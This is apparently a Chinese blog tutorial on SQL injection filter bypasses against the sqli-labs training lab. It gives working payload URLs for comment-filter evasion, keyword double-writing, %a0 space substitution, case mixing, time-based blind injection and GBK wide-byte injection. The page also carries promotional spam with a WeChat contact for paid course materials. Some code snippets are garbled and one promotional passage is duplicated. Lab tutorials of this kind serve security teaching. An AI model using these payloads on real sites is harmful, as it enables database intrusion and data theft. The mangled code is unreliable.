漏洞篇(SQL注入三)_sql注入漏洞解决方法(1),带着问题深入学习Handler

先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7

深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

如果你需要这些资料,可以添加V获取:vip204888 (备注网络安全)
img

正文

i d = p r e g _ r e p l a c e ( id = preg\_replace( id=preg_replace(reg, $replace, $id)

# i d = 表示重新赋值, p r e g _ r e p l a c e ( ) 查找和替换的函数, id = 表示重新赋值,preg\_replace()查找和替换的函数, id=表示重新赋值,preg_replace()查找和替换的函数,reg 表示 reg 变量中的值为查找内容(值为:#), r e p l a c e 表示 r e p l a c e 变量中的值为替换内容(该值为空), replace 表示 replace 变量中的值为替换内容(该值为空), replace表示replace变量中的值为替换内容(该值为空),id 表示查找并替换的目标。

即是对用户传递 id 的值中的内容,查找# 并替换为空,而后再重新赋值回 id,从而达到过滤效果

通过以上程序中代码可看到被过滤的有 # 和 – ,因此不能够使用注释进行注入,下面绕过注释进

行注入。

例 1:

http://192.168.1.103/sqli-labs/Less-23/?id=-1’ union select 1,database(),'3

我们在第三个字段前添加一个单引号来闭合 id 字段后面的单引号,我们前面用到了一种类似的方

法。

语句分析:

语句中的
-1’
union select 1,database(),
‘3
,其中的
-1’
单引号用于闭合原语句中的前面单引

号,
'3
是用于闭合原语句中后面的单引号

原来语句:

SELECT * FROM users WHERE id=‘$id’ LIMIT 0,1

注入后的语句:

SELECT * FROM users WHERE id=’
-1’ union select 1,database(),'3
’ LIMIT 0,1

由此可以拼接成一条完整可执行的语句。

例 2:使用逻辑运算注入

http://192.168.1.103/sqli-labs/Less-23/?id=-1’ union select 1,database(),3 and ‘1’='1

使用 and 或者 or 添加一个表达式 or ‘1’ = '1 注意后面一定要缺省一个单引号。否则 SQL 语句不能正常闭合。

3、双写绕过

前面我们介绍了 PHP 过滤函数可以过滤注释符,同样它也可以过滤关键字。

Less-25

代码中过滤了 or 和 AND,大小写同样都被过滤了

例 1:双写搭配大小写绕过

http://192.168.1.103/sqli-labs/Less-25/?id=-1’ union select 1,database(),3 AandNd ‘1’='1

4、关键字等价绕过

Less-25

例 1:

http://192.168.1.103/sqli-labs/Less-25/?id=1 && id=2–

我们可以看到这条语句 id=1 后面并没有单引号,原因是使用&&进行连接时不需要进行闭合,流程

为 id=1 然后继续执行 id=2 最后–+单行注释

因为 id=1 && id=2 都是在同一个 URL 中指定,首先 id=1,这个时候 id 的变量中的值为 1。此

时,数据还没带到数据库里查询,因为还有 && id=2,然后 id 再重新传递一次,这个时候 id 的变量中
的值就变成了 2,然后传参结束,所以最终的值是 2,再到数据库里执行,结果是 id=2 的记录。

例 2:

http://192.168.1.103/sqli-labs/Less-25/?id=-1’ || id=2–+

这里 id=-1’使 SQL 语句报错并使用单引号进行闭合,然后拼接 || 执行 id=2 最终–+单行注释

|| 前面 SQL 语句执行失败才会执行后面语句,这一点和 union 是一样的,需要我们手动将前面代码
进行报错。

5、绕过去除空格

Less-26

可替代空格使用的符号:

%20 %09 %0a %0b %0c %0d %a0 /**/                 #ascii 码转 url 编码

例:当前案例测试只有%a0 可以替换成功。

http://192.168.1.106/sqli-labs/Less-

26/?id=0%27%a0union%a0select%a01,database(),3%a0%26%26%a0%271%27=%271

相当于:

http://192.168.1.63/sqli-labs/Less-26/?id=0’ union select 1,database(),3 && ‘1’='1

说明:

%a0                 #表示空格,MySQL 中%a0 代表空白符,可以代替空格

%26                 #表示&

%27                 #表示 ’ 单引号

6、绕过去除关键字的绕过

Less-27

源码中过滤了常用注释和 union、select

不过我们可以看到代码中的过滤并不完善,我们可以利用前面学过的多种方式进行绕过。

例 1:大小写绕过

http://192.168.1.103/sqli-labs/Less-27/?id=1’ 
and%a0updatexml(1,concat(0x7e,(sElEct%a0database()),0x7e),1) and ‘1’='1

例 2:盲注绕过

http://192.168.1.103/sqli-labs/Less-27/?id=1’ 
and%a0if((length(database())=8),sleep(3),null)and ‘1’='1

7、Mysql 宽字符绕过

原理:

GBK 占用两字节

ASCII 占用一字节

PHP 中编码为 GBK,函数执行添加的是 ASCII 编码,MYSQL 默认字符集是 GBK 等宽字节字符

集。

Mysql 在使用 GBK 编码时,会认为两个字符为一个汉字。宽字节注入就是发生在 PHP 向 Mysql

请求时字符集使用了 GBK 编码。

我们可以看到经过 addslashes()函数过滤后我们输入的字符会被转义,我们只输入的是一个\,结果反馈出来的是\,由此证明,我们输入的\被转义了

http://192.168.1.103/sqli-labs/Less-33/?id=-1%df’ union select 1,database(),user()–+

这是因为 id 的参数传入代码层,就会在 ’ 前加一个\,由于采用的 URL 编码,所以产生的效果

是:%df%5c%27,关键就在这里,在 GBK 编码中,两个字符表示一个汉字,所以%df 把%5c 吃掉形
成了一个汉字,后面就剩一个单引号,所以此时的单引号并没有被转义了,可以发挥效果。

宽字符注入的必要条件,第一个字符的 ASCII 码必须大于 128。具体的参照 ASCII 表。

8、base64 编码绕过

URL 编码是一种用途广泛的技术,可以通过 URL 编码来绕过多种类型的过滤器,通常会将存在问题
的字符自转换成十六进制 ASCII 码来进行替换,并且将 0x 替换为%。

例:单引号的的 ASCII 码为 0x27 替换为 URL 编码为%27

Less-22

源码:

c o o k e e = b a s e 64 _ d e c o d e ( cookee = base64\_decode( cookee=base64_decode(cookee);

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)
img

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

进行替换,并且将 0x 替换为%。

例:单引号的的 ASCII 码为 0x27 替换为 URL 编码为%27

Less-22

源码:

c o o k e e = b a s e 64 _ d e c o d e ( cookee = base64\_decode( cookee=base64_decode(cookee);

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)
[外链图片转存中…(img-6XrVywWG-1713257095159)]

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

  • 5
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值